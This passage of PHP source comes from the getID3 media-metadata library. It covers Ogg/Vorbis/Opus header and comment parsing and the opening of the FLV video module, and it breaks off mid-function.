			$LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size()));
			if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) {
				$this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO')));
				$info['avdataend'] = $this->ftell();
				$info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader();
				$info['ogg']['samples']   = $info['ogg']['pageheader']['eos']['pcm_abs_position'];
				if ($info['ogg']['samples'] == 0) {
					$this->error('Corrupt Ogg file: eos.number of samples == zero');
					return false;
				}
				if (!empty($info['audio']['sample_rate'])) {
					$info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) * $info['audio']['sample_rate'] / $info['ogg']['samples'];
				}
			}

		}

		if (!empty($info['ogg']['bitrate_average'])) {
			$info['audio']['bitrate'] = $info['ogg']['bitrate_average'];
		} elseif (!empty($info['ogg']['bitrate_nominal'])) {
			$info['audio']['bitrate'] = $info['ogg']['bitrate_nominal'];
		} elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) {
			$info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2;
		}
		if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) {
			if ($info['audio']['bitrate'] == 0) {
				$this->error('Corrupt Ogg file: bitrate_audio == zero');
				return false;
			}
			$info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']);
		}

		if (isset($info['ogg']['vendor'])) {
			$info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']);

			// Vorbis only
			if ($info['audio']['dataformat'] == 'vorbis') {

				// Vorbis 1.0 starts with Xiph.Org
				if  (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) {

					if ($info['audio']['bitrate_mode'] == 'abr') {

						// Set -b 128 on abr files
						$info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000);

					} elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) {
						// Set -q N on vbr files
						$info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']);

					}
				}

				if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) {
					$info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps';
				}
			}
		}

		return true;
	}

	/**
	 * @param string $filedata
	 * @param int    $filedataoffset
	 * @param array  $oggpageinfo
	 *
	 * @return bool
	 */
	public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
		$info = &$this->getid3->info;
		$info['audio']['dataformat'] = 'vorbis';
		$info['audio']['lossless']   = false;

		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis'
		$filedataoffset += 6;
		$info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$info['audio']['channels']       = $info['ogg']['numberofchannels'];
		$info['ogg']['samplerate']       = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		if ($info['ogg']['samplerate'] == 0) {
			$this->error('Corrupt Ogg file: sample rate == zero');
			return false;
		}
		$info['audio']['sample_rate']    = $info['ogg']['samplerate'];
		$info['ogg']['samples']          = 0; // filled in later
		$info['ogg']['bitrate_average']  = 0; // filled in later
		$info['ogg']['bitrate_max']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['bitrate_nominal']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['bitrate_min']      = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$info['ogg']['blocksize_small']  = pow(2,  getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F);
		$info['ogg']['blocksize_large']  = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4);
		$info['ogg']['stop_bit']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet

		$info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr
		if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_max']);
			$info['audio']['bitrate_mode'] = 'abr';
		}
		if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_nominal']);
		}
		if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) {
			unset($info['ogg']['bitrate_min']);
			$info['audio']['bitrate_mode'] = 'abr';
		}
		return true;
	}

	/**
	 * @link http://tools.ietf.org/html/draft-ietf-codec-oggopus-03
	 *
	 * @param string $filedata
	 * @param int    $filedataoffset
	 * @param array  $oggpageinfo
	 *
	 * @return bool
	 */
	public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) {
		$info = &$this->getid3->info;
		$info['audio']['dataformat']   = 'opus';
		$info['mime_type']             = 'audio/ogg; codecs=opus';

		/** @todo find a usable way to detect abr (vbr that is padded to be abr) */
		$info['audio']['bitrate_mode'] = 'vbr';

		$info['audio']['lossless']     = false;

		$info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead'
		$filedataoffset += 8;
		$info['ogg']['pageheader']['opus']['version']    = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		$filedataoffset += 1;

		if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) {
			$this->error('Unknown opus version number (only accepting 1-15)');
			return false;
		}

		$info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		$filedataoffset += 1;

		if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) {
			$this->error('Invalid channel count in opus header (must not be zero)');
			return false;
		}

		$info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
		$filedataoffset += 2;

		$info['ogg']['pageheader']['opus']['input_sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  4));
		$filedataoffset += 4;

		//$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  2));
		//$filedataoffset += 2;

		//$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset,  1));
		//$filedataoffset += 1;

		$info['opus']['opus_version']       = $info['ogg']['pageheader']['opus']['version'];
		$info['opus']['sample_rate_input']  = $info['ogg']['pageheader']['opus']['input_sample_rate'];
		$info['opus']['out_channel_count']  = $info['ogg']['pageheader']['opus']['out_channel_count'];

		$info['audio']['channels']          = $info['opus']['out_channel_count'];
		$info['audio']['sample_rate_input'] = $info['opus']['sample_rate_input'];
		$info['audio']['sample_rate']       = 48000; // "All Opus audio is coded at 48 kHz, and should also be decoded at 48 kHz for playback (unless the target hardware does not support this sampling rate). However, this field may be used to resample the audio back to the original sampling rate, for example, when saving the output to a file." -- https://mf4.xiph.org/jenkins/view/opus/job/opusfile-unix/ws/doc/html/structOpusHead.html
		return true;
	}

	/**
	 * @return array|false
	 */
	public function ParseOggPageHeader() {
		// http://xiph.org/ogg/vorbis/doc/framing.html
		$oggheader = array();
		$oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file

		$filedata = $this->fread($this->getid3->fread_buffer_size());
		$filedataoffset = 0;
		while (substr($filedata, $filedataoffset++, 4) != 'OggS') {
			if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) {
				// should be found before here
				return false;
			}
			if (($filedataoffset + 28) > strlen($filedata)) {
				if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === '')) {
					// get some more data, unless eof, in which case fail
					return false;
				}
			}
		}
		$filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS'

		$oggheader['stream_structver']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['flags_raw']         = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['flags']['fresh']    = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet
		$oggheader['flags']['bos']      = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos)
		$oggheader['flags']['eos']      = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos)

		$oggheader['pcm_abs_position']  = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8));
		$filedataoffset += 8;
		$oggheader['stream_serialno']   = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_seqno']        = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_checksum']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4));
		$filedataoffset += 4;
		$oggheader['page_segments']     = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
		$filedataoffset += 1;
		$oggheader['page_length'] = 0;
		for ($i = 0; $i < $oggheader['page_segments']; $i++) {
			$oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1));
			$filedataoffset += 1;
			$oggheader['page_length'] += $oggheader['segment_table'][$i];
		}
		$oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset;
		$oggheader['page_end_offset']   = $oggheader['header_end_offset'] + $oggheader['page_length'];
		$this->fseek($oggheader['header_end_offset']);

		return $oggheader;
	}

	/**
	 * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005
	 *
	 * @return bool
	 */
	public function ParseVorbisComments() {
		$info = &$this->getid3->info;

		$OriginalOffset = $this->ftell();
		$commentdata = null;
		$commentdataoffset = 0;
		$VorbisCommentPage = 1;
		$CommentStartOffset = 0;

		switch ($info['audio']['dataformat']) {
			case 'vorbis':
			case 'speex':
			case 'opus':
				$CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset'];  // Second Ogg page, after header block
				$this->fseek($CommentStartOffset);
				$commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments'];
				$commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset);

				if ($info['audio']['dataformat'] == 'vorbis') {
					$commentdataoffset += (strlen('vorbis') + 1);
				}
				else if ($info['audio']['dataformat'] == 'opus') {
					$commentdataoffset += strlen('OpusTags');
				}

				break;

			case 'flac':
				$CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4;
				$this->fseek($CommentStartOffset);
				$commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']);
				break;

			default:
				return false;
		}

		$VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
		$commentdataoffset += 4;

		$info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize);
		$commentdataoffset += $VendorSize;

		$CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));
		$commentdataoffset += 4;
		$info['avdataoffset'] = $CommentStartOffset + $commentdataoffset;

		$basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT');
		$ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw'];
		for ($i = 0; $i < $CommentsCount; $i++) {

			if ($i >= 10000) {
				// https://github.com/owncloud/music/issues/212#issuecomment-43082336
				$this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments');
				break;
			}

			$ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset;

			if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) {
				if ($oggpageinfo = $this->ParseOggPageHeader()) {
					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

					$VorbisCommentPage++;

					// First, save what we haven't read yet
					$AsYetUnusedData = substr($commentdata, $commentdataoffset);

					// Then take that data off the end
					$commentdata     = substr($commentdata, 0, $commentdataoffset);

					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);

					// Finally, stick the unused data back on the end
					$commentdata .= $AsYetUnusedData;

					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
					$commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1));
				}

			}
			$ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4));

			// replace avdataoffset with position just after the last vorbiscomment
			$info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4;

			$commentdataoffset += 4;
			while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) {
				if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) {
					$this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments');
					break 2;
				}

				$VorbisCommentPage++;

				if ($oggpageinfo = $this->ParseOggPageHeader()) {
					$info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo;

					// First, save what we haven't read yet
					$AsYetUnusedData = substr($commentdata, $commentdataoffset);

					// Then take that data off the end
					$commentdata     = substr($commentdata, 0, $commentdataoffset);

					// Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct
					$commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);
					$commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']);

					// Finally, stick the unused data back on the end
					$commentdata .= $AsYetUnusedData;

					//$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']);
					if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) {
						$this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
						break;
					}
					$readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1);
					if ($readlength <= 0) {
						$this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell());
						break;
					}
					$commentdata .= $this->fread($readlength);

					//$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset'];
				} else {
					$this->warning('failed to ParseOggPageHeader() at offset '.$this->ftell());
					break;
				}
			}
			$ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset;
			$commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']);
			$commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size'];

			if (!$commentstring) {

				// no comment?
				$this->warning('Blank Ogg comment ['.$i.']');

			} elseif (strstr($commentstring, '=')) {

				$commentexploded = explode('=', $commentstring, 2);
				$ThisFileInfo_ogg_comments_raw[$i]['key']   = strtoupper($commentexploded[0]);
				$ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : '');

				if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') {

					// http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE
					// The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard.
					// http://flac.sourceforge.net/format.html#metadata_block_picture
					$flac = new getid3_flac($this->getid3);
					$flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']));
					$flac->parsePICTURE();
					$info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0];
					unset($flac);

				} elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') {

					$data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']);
					$this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure');
					/** @todo use 'coverartmime' where available */
					$imageinfo = getid3_lib::GetDataImageSize($data);
					if ($imageinfo === false || !isset($imageinfo['mime'])) {
						$this->warning('COVERART vorbiscomment tag contains invalid image');
						continue;
					}

					$ogg = new self($this->getid3);
					$ogg->setStringMode($data);
					$info['ogg']['comments']['picture'][] = array(
						'image_mime'   => $imageinfo['mime'],
						'datalength'   => strlen($data),
						'picturetype'  => 'cover art',
						'image_height' => $imageinfo['height'],
						'image_width'  => $imageinfo['width'],
						'data'         => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']),
					);
					unset($ogg);

				} else {

					$info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value'];

				}

			} else {

				$this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring);

			}
			unset($ThisFileInfo_ogg_comments_raw[$i]);
		}
		unset($ThisFileInfo_ogg_comments_raw);


		// Replay Gain Adjustment
		// http://privatewww.essex.ac.uk/~djmrob/replaygain/
		if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) {
			foreach ($info['ogg']['comments'] as $index => $commentvalue) {
				switch ($index) {
					case 'rg_audiophile':
					case 'replaygain_album_gain':
						$info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'rg_radio':
					case 'replaygain_track_gain':
						$info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'replaygain_album_peak':
						$info['replay_gain']['album']['peak'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'rg_peak':
					case 'replaygain_track_peak':
						$info['replay_gain']['track']['peak'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					case 'replaygain_reference_loudness':
						$info['replay_gain']['reference_volume'] = (double) $commentvalue[0];
						unset($info['ogg']['comments'][$index]);
						break;

					default:
						// do nothing
						break;
				}
			}
		}

		$this->fseek($OriginalOffset);

		return true;
	}

	/**
	 * @param int $mode
	 *
	 * @return string|null
	 */
	public static function SpeexBandModeLookup($mode) {
		static $SpeexBandModeLookup = array();
		if (empty($SpeexBandModeLookup)) {
			$SpeexBandModeLookup[0] = 'narrow';
			$SpeexBandModeLookup[1] = 'wide';
			$SpeexBandModeLookup[2] = 'ultra-wide';
		}
		return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null);
	}

	/**
	 * @param array $OggInfoArray
	 * @param int   $SegmentNumber
	 *
	 * @return int
	 */
	public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) {
		$segmentlength = 0;
		for ($i = 0; $i < $SegmentNumber; $i++) {
			$segmentlength = 0;
			foreach ($OggInfoArray['segment_table'] as $key => $value) {
				$segmentlength += $value;
				if ($value < 255) {
					break;
				}
			}
		}
		return $segmentlength;
	}

	/**
	 * @param int $nominal_bitrate
	 *
	 * @return float
	 */
	public static function get_quality_from_nominal_bitrate($nominal_bitrate) {

		// decrease precision
		$nominal_bitrate = $nominal_bitrate / 1000;

		if ($nominal_bitrate < 128) {
			// q-1 to q4
			$qval = ($nominal_bitrate - 64) / 16;
		} elseif ($nominal_bitrate < 256) {
			// q4 to q8
			$qval = $nominal_bitrate / 32;
		} elseif ($nominal_bitrate < 320) {
			// q8 to q9
			$qval = ($nominal_bitrate + 256) / 64;
		} else {
			// q9 to q10
			$qval = ($nominal_bitrate + 1300) / 180;
		}
		//return $qval; // 5.031324
		//return intval($qval); // 5
		return round($qval, 1); // 5 or 4.9
	}

	/**
	 * @param int $colorspace_id
	 *
	 * @return string|null
	 */
	public static function TheoraColorSpace($colorspace_id) {
		// http://www.theora.org/doc/Theora.pdf (table 6.3)
		static $TheoraColorSpaceLookup = array();
		if (empty($TheoraColorSpaceLookup)) {
			$TheoraColorSpaceLookup[0] = 'Undefined';
			$TheoraColorSpaceLookup[1] = 'Rec. 470M';
			$TheoraColorSpaceLookup[2] = 'Rec. 470BG';
			$TheoraColorSpaceLookup[3] = 'Reserved';
		}
		return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null);
	}

	/**
	 * @param int $pixelformat_id
	 *
	 * @return string|null
	 */
	public static function TheoraPixelFormat($pixelformat_id) {
		// http://www.theora.org/doc/Theora.pdf (table 6.4)
		static $TheoraPixelFormatLookup = array();
		if (empty($TheoraPixelFormatLookup)) {
			$TheoraPixelFormatLookup[0] = '4:2:0';
			$TheoraPixelFormatLookup[1] = 'Reserved';
			$TheoraPixelFormatLookup[2] = '4:2:2';
			$TheoraPixelFormatLookup[3] = '4:4:4';
		}
		return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null);
	}

}
<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.flv.php                                  //
// module for analyzing Shockwave Flash Video files            //
// dependencies: NONE                                          //
//                                                             //
/////////////////////////////////////////////////////////////////
//                                                             //
//  FLV module by Seth Kaufman <sethØwhirl-i-gig*com>          //
//                                                             //
//  * version 0.1 (26 June 2005)                               //
//                                                             //
//  * version 0.1.1 (15 July 2005)                             //
//  minor modifications by James Heinrich <info@getid3.org>    //
//                                                             //
//  * version 0.2 (22 February 2006)                           //
//  Support for On2 VP6 codec and meta information             //
//    by Steve Webster <steve.websterØfeaturecreep*com>        //
//                                                             //
//  * version 0.3 (15 June 2006)                               //
//  Modified to not read entire file into memory               //
//    by James Heinrich <info@getid3.org>                      //
//                                                             //
//  * version 0.4 (07 December 2007)                           //
//  Bugfixes for incorrectly parsed FLV dimensions             //
//    and incorrect parsing of onMetaTag                       //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.5 (21 May 2009)                                //
//  Fixed parsing of audio tags and added additional codec     //
//    details. The duration is now read from onMetaTag (if     //
//    exists), rather than parsing whole file                  //
//    by Nigel Barnes <ngbarnesØhotmail*com>                   //
//                                                             //
//  * version 0.6 (24 May 2009)                                //
//  Better parsing of files with h264 video                    //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.6.1 (30 May 2011)                              //
//    prevent infinite loops in expGolombUe()                  //
//                                                             //
//  * version 0.7.0 (16 Jul 2013)                              //
//  handle GETID3_FLV_VIDEO_VP6FLV_ALPHA                       //
//  improved AVCSequenceParameterSetReader::readData()         //
//    by Xander Schouwerwou <schouwerwouØgmail*com>            //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

define('GETID3_FLV_TAG_AUDIO',          8);
define('GETID3_FLV_TAG_VIDEO',          9);
define('GETID3_FLV_TAG_META',          18);

define('GETID3_FLV_VIDEO_H263',         2);
define('GETID3_FLV_VIDEO_SCREEN',       3);
define('GETID3_FLV_VIDEO_VP6FLV',       4);
define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5);
define('GETID3_FLV_VIDEO_SCREENV2',     6);
define('GETID3_FLV_VIDEO_H264',         7);

define('H264_AVC_SEQUENCE_HEADER',          0);
define('H264_PROFILE_BASELINE',            66);
define('H264_PROFILE_MAIN',                77);
define('H264_PROFILE_EXTENDED',            88);
define('H264_PROFILE_HIGH',               100);
define('H264_PROFILE_HIGH10',             110);
define('H264_PROFILE_HIGH422',            122);
define('H264_PROFILE_HIGH444',            144);
define('H264_PROFILE_HIGH444_PREDICTIVE', 244);

class getid3_flv extends getid3_handler
{
	const magic = 'FLV';

	/**
	 * Break out of the loop if too many frames have been scanned; only scan this
	 * many if meta frame does not contain useful duration.
	 *
	 * @var int
	 */
	public $max_frames = 100000;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);

		$FLVdataLength = $info['avdataend'] - $info['avdataoffset'];
		$FLVheader = $this->fread(5);

		$info['fileformat'] = 'flv';
		$info['flv']['header']['signature'] =                           substr($FLVheader, 0, 3);
		$info['flv']['header']['version']   = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1));
		$TypeFlags                          = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1));

		if ($info['flv']['header']['signature'] != self::magic) {
			$this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"');
			unset($info['flv'], $info['fileformat']);
			return false;
		}

		$info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04);
		$info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01);

		$FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4));
		$FLVheaderFrameLength = 9;
		if ($FrameSizeDataLength > $FLVheaderFrameLength) {
			$this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR);
		}
		$Duration = 0;
		$found_video = false;
		$found_audio = false;
		$found_meta  = false;
		$found_valid_meta_playtime = false;
		$tagParseCount = 0;
		$info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0);
		$flv_framecount = &$info['flv']['framecount'];
		while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime))  {
			$ThisTagHeader = $this->fread(16);

			$PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  0, 4));
			$TagType           = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  4, 1));
			$DataLength        = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  5, 3));
			$Timestamp         = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  8, 3));
			$LastHeaderByte    = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1));
			$NextOffset = $this->ftell() - 1 + $DataLength;
			if ($Timestamp > $Duration) {
				$Duration = $Timestamp;
			}

			$flv_framecount['total']++;
			switch ($TagType) {
				case GETID3_FLV_TAG_AUDIO:
					$flv_framecount['audio']++;
					if (!$found_audio) {
						$found_audio = true;
						$info['flv']['audio']['audioFormat']     = ($LastHeaderByte >> 4) & 0x0F;
						$info['flv']['audio']['audioRate']       = ($LastHeaderByte >> 2) & 0x03;
						$info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01;
						$info['flv']['audio']['audioType']       =  $LastHeaderByte       & 0x01;
					}
					break;

				case GETID3_FLV_TAG_VIDEO:
					$flv_framecount['video']++;
					if (!$found_video) {
						$found_video = true;
						$info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07;

						$FLVvideoHeader = $this->fread(11);
						$PictureSizeEnc = array();

						if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) {
							// this code block contributed by: moysevichØgmail*com

							$AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1));
							if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) {
								//	read AVCDecoderConfigurationRecord
								$configurationVersion       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  4, 1));
								$AVCProfileIndication       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  5, 1));
								$profile_compatibility      = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  6, 1));
								$lengthSizeMinusOne         = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  7, 1));
								$numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  8, 1));

								if (($numOfSequenceParameterSets & 0x1F) != 0) {
									//	there is at least one SequenceParameterSet
									//	read size of the first SequenceParameterSet
									//$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2));
									$spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2));
									//	read the first SequenceParameterSet
									$sps = $this->fread($spsSize);
									if (strlen($sps) == $spsSize) {	//	make sure that whole SequenceParameterSet was red
